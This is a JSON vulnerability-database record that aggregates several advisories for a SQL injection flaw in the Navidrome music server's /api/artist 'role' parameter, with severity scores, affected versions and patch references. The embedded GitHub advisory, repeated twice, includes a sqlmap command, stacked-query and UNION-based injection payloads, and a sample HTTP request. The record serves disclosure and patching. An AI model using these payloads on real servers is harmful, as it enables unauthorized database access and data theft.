{"id":"CVE-2025-48949","aliases":["ALPINE-CVE-2025-48949","EUVD-2025-16522","GHSA-5wgp-vjxm-3x2r","GO-2025-3734","openSUSE-SU-2025:15225-1"],"status":"published","title":"Navidrome allows SQL Injection via role parameter","description":"Navidrome is an open source web-based music collection server and streamer. Versions 0.55.0 through 0.55.2 have a vulnerability due to improper input validation on the `role` parameter within the API endpoint `/api/artist`. Attackers can exploit this flaw to inject arbitrary SQL queries, potentially gaining unauthorized access to the backend database and compromising sensitive user information. Version 0.56.0 contains a patch for the issue.","severity":{"version":"4.0","score":8.9,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-09","score":0.00508,"percentile":0.43701,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-89"],"published":"2025-05-29T17:27:56Z","modified":"2026-11-03T06:33:00Z","fixes":[{"ecosystem":"Go","package":"github.com/navidrome/navidrome","fixed_in":["0.56.0"],"sources":["ghsa","osv"]},{"ecosystem":"Alpine:v3.23","package":"navidrome","fixed_in":["0.56.1-r0"],"sources":["osv"]},{"ecosystem":"Alpine:v3.24","package":"navidrome","fixed_in":["0.56.1-r0"],"sources":["osv"]}],"affected":[{"source":"ghsa","ecosystem":"Go","package":"github.com/navidrome/navidrome","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.55.0"},{"last_affected":"0.55.2"},{"fixed":"0.56.0"}]}]},{"source":"osv","ecosystem":"Alpine:v3.23","package":"navidrome","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.55.0"},{"fixed":"0.56.1-r0"}]}]},{"source":"osv","ecosystem":"Alpine:v3.24","package":"navidrome","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.55.0"},{"fixed":"0.56.1-r0"}]}]},{"source":"osv","ecosystem":"Go","package":"github.com/navidrome/navidrome","ranges":[{"type":"SEMVER","events":[{"introduced":"0.55.0"},{"fixed":"0.56.0"}]}]},{"source":"osv","ecosystem":"Go","package":"github.com/navidrome/navidrome","ranges":[{"type":"SEMVER","events":[{"introduced":"0.55.0"},{"fixed":"0.56.0"}]}]},{"source":"osv","ecosystem":"openSUSE:Tumbleweed","package":"govulncheck-vulndb","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.0.20250612T141001-1.1"}]}],"bundled":29}],"products":[{"vendor":"navidrome","product":"navidrome"}],"references":[{"url":"https://github.com/navidrome/navidrome/security/advisories/GHSA-5wgp-vjxm-3x2r","tags":["x_refsource_CONFIRM","Vendor Advisory","advisory","web"]},{"url":"https://github.com/navidrome/navidrome/commit/b19d5f0d3e079639904cac95735228f445c798b6","tags":["x_refsource_MISC","Patch","fix","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2025-48949","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-5wgp-vjxm-3x2r"},{"url":"https://security.alpinelinux.org/vuln/CVE-2025-48949","tags":["advisory"]},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2025/48xxx/CVE-2025-48949.json","tags":["advisory"]},{"url":"https://github.com/navidrome/navidrome","tags":["package"]},{"url":"","tags":["advisory"]},{"url":"https://www.suse.com/security/cve/CVE-2020-36846","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2022-31022","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2023-42818","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2025-0913","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2025-1792","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2025-22874","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2025-25207","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2025-25208","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2025-2571","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2025-29785","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2025-3230","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2025-3260","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2025-3454","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2025-3611","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2025-3913","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2025-4128","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2025-4573","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2025-4673","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2025-47950","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2025-48494","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2025-48495","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2025-48710","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2025-48865","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2025-48938","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2025-48948","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2025-48949","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2025-49011","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2025-49136","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2025-49140","tags":["web"]}],"sources":{"cve":[{"id":"CVE-2025-48949","title":"Navidrome allows SQL Injection via role parameter","description":"Navidrome is an open source web-based music collection server and streamer. Versions 0.55.0 through 0.55.2 have a vulnerability due to improper input validation on the `role` parameter within the API endpoint `/api/artist`. Attackers can exploit this flaw to inject arbitrary SQL queries, potentially gaining unauthorized access to the backend database and compromising sensitive user information. Version 0.56.0 contains a patch for the issue.","status":"published","published":"2025-05-30T19:40:51.355Z","modified":"2025-05-30T20:45:32.298Z","cvss":[{"version":"4.0","score":8.9,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P","level":"high","assessor":"cna"}],"cwes":["CWE-89"],"updated_at":"2026-11-02T14:32:41.41198Z"}],"euvd":[{"id":"EUVD-2025-16522","description":"Navidrome is an open source web-based music collection server and streamer. Versions 0.55.0 through 0.55.2 have a vulnerability due to improper input validation on the `role` parameter within the API endpoint `/api/artist`. Attackers can exploit this flaw to inject arbitrary SQL queries, potentially gaining unauthorized access to the backend database and compromising sensitive user information. Version 0.56.0 contains a patch for the issue.","status":"published","published":"2025-05-30T19:40:51Z","modified":"2025-05-30T20:45:32Z","cvss":[{"version":"4.0","score":8.9,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P","level":"high"}],"updated_at":"2026-11-02T20:32:33.750801Z"}],"ghsa":[{"id":"GHSA-5wgp-vjxm-3x2r","title":"Navidrome allows SQL Injection via role parameter","description":"## 🛡 **Security Advisory: SQL Injection Vulnerability in Navidrome v0.55.2**\n\n### **Overview**\n\nThis vulnerability arises due to improper input validation on the **`role`** parameter within the API endpoint **`/api/artist`**. Attackers can exploit this flaw to inject arbitrary SQL queries, potentially gaining unauthorized access to the backend database and compromising sensitive user information.\n\n---\n\n### **Details**\n\n* **Vulnerable Component**:\n  API endpoint → `/api/artist`\n  Parameter → `role`\n\n* **Vulnerability Type**:\n  SQL Injection (stacked queries, UNION queries)\n\n* **Database Affected**:\n  SQLite (confirmed exploitation via SQLite-specific payloads)\n\n* **Impact**:\n  Successful exploitation allows an unauthenticated attacker to:\n\n  * Execute arbitrary SQL commands\n  * Extract or manipulate sensitive data (e.g., user records, playlists)\n  * Potentially escalate privileges or disrupt service availability\n\n---\n\n### **Proof of Concept (PoC)**\n\n**Example Exploit Command**:\n\n```bash\nsqlmap.py -r navi --level 5 --risk 3 -a --banner --batch --tamper charencode --dbms sqlite\n```\n\n**Sample Payloads**:\n\n* **Stacked Queries**:\n\n  ```\n  http://navidrome/api/artist?_end=15\u0026_order=ASC\u0026_sort=name\u0026_start=0\u0026role=albumartist');SELECT LIKE(CHAR(65,66,67,68,69,70,71),UPPER(HEX(RANDOMBLOB(500000000/2))))--\n  ```\n\n* **UNION-Based Query**:\n\n  ```\n  http://navidrome.local/api/artist?_end=15\u0026_order=ASC\u0026_sort=name\u0026_start=0\u0026role=albumartist') UNION ALL SELECT 92,92,92,92,92,92,92,92,92,92,92,92,92,92,92,92,92,CHAR(113,98,118,98,113)||CHAR(113,84,86,119,114,71,106,104,90,118,120,104,79,66,104,108,121,106,70,68,90,113,104,117,67,98,113,67,103,84,71,120,119,119,117,121,81,76,100,71)||CHAR(113,120,112,106,113),92,92,92,92-- Mtny\n  ```\n\n**Example HTTP Request**:\n\n```http\nGET /api/artist?_end=15\u0026_order=ASC\u0026_sort=name\u0026_start=0\u0026role=albumartist* HTTP/2\nHost: \u003cTARGET HOST\u003e\nCookie: \u003cREPLACE WITH VALID COOKIE\u003e\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:138.0) Gecko/20100101 Firefox/138.0\nAccept: application/json\nX-Nd-Authorization: \u003cREPLACE WITH AUTH TOKEN\u003e\nX-Nd-Client-Unique-Id: \u003cREPLACE WITH CLIENT ID\u003e\n```\n\n---","status":"published","published":"2025-05-29T17:27:56Z","modified":"2025-05-30T21:42:22Z","cvss":[{"version":"4.0","score":8.9,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P","level":"high"}],"cwes":["CWE-89"],"updated_at":"2026-11-02T14:38:45.948817Z"}],"nvd":[{"id":"CVE-2025-48949","description":"Navidrome is an open source web-based music collection server and streamer. Versions 0.55.0 through 0.55.2 have a vulnerability due to improper input validation on the `role` parameter within the API endpoint `/api/artist`. Attackers can exploit this flaw to inject arbitrary SQL queries, potentially gaining unauthorized access to the backend database and compromising sensitive user information. Version 0.56.0 contains a patch for the issue.","status":"published","published":"2025-05-30T20:15:44.083Z","modified":"2026-06-17T09:30:32.253Z","cvss":[{"version":"4.0","score":8.9,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"high","assessor":"secondary"},{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical","assessor":"primary"}],"cwes":["CWE-89"],"updated_at":"2026-11-02T14:11:10.143444Z"}],"osv":[{"id":"ALPINE-CVE-2025-48949","description":"Navidrome is an open source web-based music collection server and streamer. Versions 0.55.0 through 0.55.2 have a vulnerability due to improper input validation on the `role` parameter within the API endpoint `/api/artist`. Attackers can exploit this flaw to inject arbitrary SQL queries, potentially gaining unauthorized access to the backend database and compromising sensitive user information. Version 0.56.0 contains a patch for the issue.","status":"published","published":"2025-05-30T20:15:44.083Z","modified":"2026-11-03T06:33:00.644479569Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical"}],"updated_at":"2026-11-03T07:15:53.944853Z"},{"id":"CVE-2025-48949","title":"Navidrome allows SQL Injection via role parameter","description":"Navidrome is an open source web-based music collection server and streamer. Versions 0.55.0 through 0.55.2 have a vulnerability due to improper input validation on the `role` parameter within the API endpoint `/api/artist`. Attackers can exploit this flaw to inject arbitrary SQL queries, potentially gaining unauthorized access to the backend database and compromising sensitive user information. Version 0.56.0 contains a patch for the issue.","status":"published","published":"2025-05-30T19:40:51.355Z","modified":"2026-10-28T02:30:24.373568904Z","cvss":[{"version":"4.0","score":8.9,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P","level":"high"}],"cwes":["CWE-89"],"updated_at":"2026-11-02T15:44:50.037003Z"},{"id":"GHSA-5wgp-vjxm-3x2r","title":"Navidrome allows SQL Injection via role parameter","description":"## 🛡 **Security Advisory: SQL Injection Vulnerability in Navidrome v0.55.2**\n\n### **Overview**\n\nThis vulnerability arises due to improper input validation on the **`role`** parameter within the API endpoint **`/api/artist`**. Attackers can exploit this flaw to inject arbitrary SQL queries, potentially gaining unauthorized access to the backend database and compromising sensitive user information.\n\n---\n\n### **Details**\n\n* **Vulnerable Component**:\n  API endpoint → `/api/artist`\n  Parameter → `role`\n\n* **Vulnerability Type**:\n  SQL Injection (stacked queries, UNION queries)\n\n* **Database Affected**:\n  SQLite (confirmed exploitation via SQLite-specific payloads)\n\n* **Impact**:\n  Successful exploitation allows an unauthenticated attacker to:\n\n  * Execute arbitrary SQL commands\n  * Extract or manipulate sensitive data (e.g., user records, playlists)\n  * Potentially escalate privileges or disrupt service availability\n\n---\n\n### **Proof of Concept (PoC)**\n\n**Example Exploit Command**:\n\n```bash\nsqlmap.py -r navi --level 5 --risk 3 -a --banner --batch --tamper charencode --dbms sqlite\n```\n\n**Sample Payloads**:\n\n* **Stacked Queries**:\n\n  ```\n  http://navidrome/api/artist?_end=15\u0026_order=ASC\u0026_sort=name\u0026_start=0\u0026role=albumartist');SELECT LIKE(CHAR(65,66,67,68,69,70,71),UPPER(HEX(RANDOMBLOB(500000000/2))))--\n  ```\n\n* **UNION-Based Query**:\n\n  ```\n  http://navidrome.local/api/artist?_end=15\u0026_order=ASC\u0026_sort=name\u0026_start=0\u0026role=albumartist') UNION ALL SELECT 92,92,92,92,92,92,92,92,92,92,92,92,92,92,92,92,92,CHAR(113,98,118,98,113)||CHAR(113,84,86,119,114,71,106,104,90,118,120,104,79,66,104,108,121,106,70,68,90,113,104,117,67,98,113,67,103,84,71,120,119,119,117,121,81,76,100,71)||CHAR(113,120,112,106,113),92,92,92,92-- Mtny\n  ```\n\n**Example HTTP Request**:\n\n```http\nGET /api/artist?_end=15\u0026_order=ASC\u0026_sort=name\u0026_start=0\u0026role=albumartist* HTTP/2\nHost: \u003cTARGET HOST\u003e\nCookie: \u003cREPLACE WITH VALID COOKIE\u003e\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:138.0) Gecko/20100101 Firefox/138.0\nAccept: application/json\nX-Nd-Authorization: \u003cREPLACE WITH AUTH TOKEN\u003e\nX-Nd-Client-Unique-Id: \u003cREPLACE WITH CLIENT ID\u003e\n```\n\n---","status":"published","published":"2025-05-29T17:27:56Z","modified":"2025-06-03T18:56:52.52963Z","cvss":[{"version":"4.0","score":8.9,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P","level":"high"}],"cwes":["CWE-89"],"updated_at":"2026-11-02T15:46:38.911014Z"},{"id":"GO-2025-3734","title":"Navidrome allows SQL Injection via role parameter in github.com/navidrome/navidrome","description":"Navidrome allows SQL Injection via role parameter in github.com/navidrome/navidrome","status":"published","published":"2025-06-03T17:57:59Z","modified":"2026-03-03T04:57:19.386921Z","updated_at":"2026-11-02T15:47:01.728182Z"},{"id":"openSUSE-SU-2025:15225-1","title":"govulncheck-vulndb-0.0.20250612T141001-1.1 on GA media","description":"These are all security issues fixed in the govulncheck-vulndb-0.0.20250612T141001-1.1 package on the GA media of openSUSE Tumbleweed.","status":"published","published":"2025-07-03T00:00:00Z","modified":"2026-03-23T04:53:30.823164Z","updated_at":"2026-11-02T16:58:37.399567Z"}]}}